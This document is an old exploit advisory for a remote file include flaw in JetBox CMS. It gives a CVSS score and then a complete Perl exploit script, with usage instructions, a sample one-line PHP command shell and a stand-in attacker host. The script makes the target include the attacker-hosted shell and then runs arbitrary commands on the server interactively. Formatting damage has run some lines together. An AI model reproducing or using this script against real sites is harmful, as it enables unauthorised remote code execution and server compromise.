JetBox CMS Remote File Include

2006.05.10
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl ############ # JetBox CMS Remote File Include # Exploit & Advisory: beford <xbefordx gmail com> # # uso:# perl own.pl <host> <cmd-shell-url> <cmd-var> # perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd # # cmd shell example: <? system($cmd); ?> # cmd variable: cmd; # ############# # Description ########### # Vendor: http://jetbox.streamedge.com/ # The file jetbox/includes/phpdig/includes/config.php uses the variable # relative_script_path in a include() function without being declared. # This issue has already been fixed in phpdig, but jetbox still uses a # vulnerable version. ############ # Vuln code ############ #if (is_file("$relative_script_path/locales/$phpdig_language-language.php")) # {include "$relative_script_path/locales/$phpdig_language-language.php";} #else # {include "$relative_script_path/locales/en-language.php";} ############ use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv) { usage(); } head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); if (!$cmd) { last; } $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pat htocmd.'?&'.$cmdv.'='.$cmd)or die "nCould Not connectn"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[n]/[?]/; if ($return =~/Error: HTTP request failed!/ || $return =~/: No se puede ejecutar un comando en blanco <b>/) { print "nNo se puede conectar al host de la cmd o el comando es invalidon"; exit; } elsif ($return =~/^<br./>.<b>Fatal.error/) { print "nComando Invalido, o no hubo respuestann"; } if ($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[?]/[n]/; print "rn$finreturnnr"; last; } else { print "[shell] $"; } } } last; sub head() { print "n===================================================================== =======rn"; print " JetBox CMS Remote File Includern"; print "======================================================================= =====rn"; } sub usage() { head(); print " Usage: perl own.pl <host> <url-cmd> <var>rnn"; print " <host> - Full Path : http://host/claroline/ [remember the trailing slash noob]rn"; print " <url-cmd> - PhpShell : http://atacate/shell.gif rn"; print " <var> - var name used in phpshell : cmd rn"; exit(); }


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